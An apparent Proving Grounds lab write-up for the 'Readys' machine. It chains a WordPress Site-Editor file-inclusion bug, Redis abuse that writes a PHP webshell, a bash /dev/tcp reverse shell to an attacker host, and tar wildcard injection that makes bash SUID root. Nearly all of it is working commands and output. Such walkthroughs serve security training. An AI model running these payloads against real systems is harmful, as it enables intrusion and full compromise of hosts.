Skip to content

Readys Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

Readys runs WordPress with the vulnerable Site-Editor plugin, whose local file inclusion leaks the Redis password straight out of its config file. Redis is then used to plant a PHP webshell, which the same LFI triggers for a shell as alice, and a root cron job running tar on a wildcard path is hijacked for root.

Reconnaissance

Nmap and WPScan

Scan the target, then fingerprint the WordPress install.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- $TARGET_IP
22/tcp   open ssh    OpenSSH 7.9p1
80/tcp   open http   Apache 2.4.38 ((Debian))
6379/tcp open redis  Redis key-value store
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP --enumerate ap,at,cb,dbe
[+] WordPress version 5.7.2 identified
[+] site-editor
 | Location: http://$TARGET_IP/wp-content/plugins/site-editor/
 | Site-Editor 1.1.1 - Local File Inclusion (EDB-44340)

Site-Editor 1.1.1's ajax_shortcode_pattern.php takes an ajax_path parameter that reads arbitrary files. Redis is open but requires authentication, so read its config through the LFI first.

Exploitation

LFI to Redis config disclosure

Read the Redis config file through the plugin's LFI.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf"
<snip>
requirepass $REDIS_PASSWORD

Redis webshell write

Authenticate to Redis and point its database dump at the plugin's writable uploads directory, saving a PHP payload as the dump file.

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -a '$REDIS_PASSWORD'
┌──(kali㉿kali)-[~]
└─$ CONFIG SET dir /opt/redis-files/
┌──(kali㉿kali)-[~]
└─$ CONFIG SET dbfilename shell.php
┌──(kali㉿kali)-[~]
└─$ SET payload "<?php system($_GET['cmd']); ?>"
┌──(kali㉿kali)-[~]
└─$ SAVE
OK
OK
OK
OK
Explain command
-a Authenticate with this password.

Trigger the webshell

Include the dumped file through the same LFI to execute it.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/opt/redis-files/shell.php&cmd=id"
uid=1000(alice) gid=1000(alice)

Command execution confirmed as alice. Upgrade to a reverse shell.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
listening on [any] $ATTACKER_PORT ...
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/opt/redis-files/shell.php&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT+0>%261'"
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
alice@readys:~$ id
uid=1000(alice) gid=1000(alice)

Shell as alice.

Privilege Escalation

Tar wildcard injection

A root cron job runs every three minutes.

┌──(kali㉿kali)-[~]
└─$ cat /etc/crontab
*/3 * * * * root /usr/local/bin/backup.sh

The script runs tar -cf /opt/backups/website.tar * from the world-writable /var/www/html. A wildcard passed to tar can be hijacked with specially named files that tar interprets as its own flags.

┌──(kali㉿kali)-[~]
└─$ cd /var/www/html
┌──(kali㉿kali)-[~]
└─$ echo '#!/bin/bash' > exploit.sh
┌──(kali㉿kali)-[~]
└─$ echo 'chmod u+s /bin/bash' >> exploit.sh
┌──(kali㉿kali)-[~]
└─$ chmod +x exploit.sh
┌──(kali㉿kali)-[~]
└─$ touch -- "--checkpoint=1"
┌──(kali㉿kali)-[~]
└─$ touch -- "--checkpoint-action=exec=bash exploit.sh"

Wait up to three minutes for the cron job, which runs tar on these checkpoint files as root and executes the script.

┌──(kali㉿kali)-[~]
└─$ watch -n 5 'ls -la /bin/bash'
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
┌──(kali㉿kali)-[~]
└─$ /bin/bash -p
bash-5.0# id
uid=1000(alice) gid=1000(alice) euid=0(root) egid=0(root)
Explain command
-p Preserve the SUID-inherited effective privileges.

SUID bash gives a root shell.

References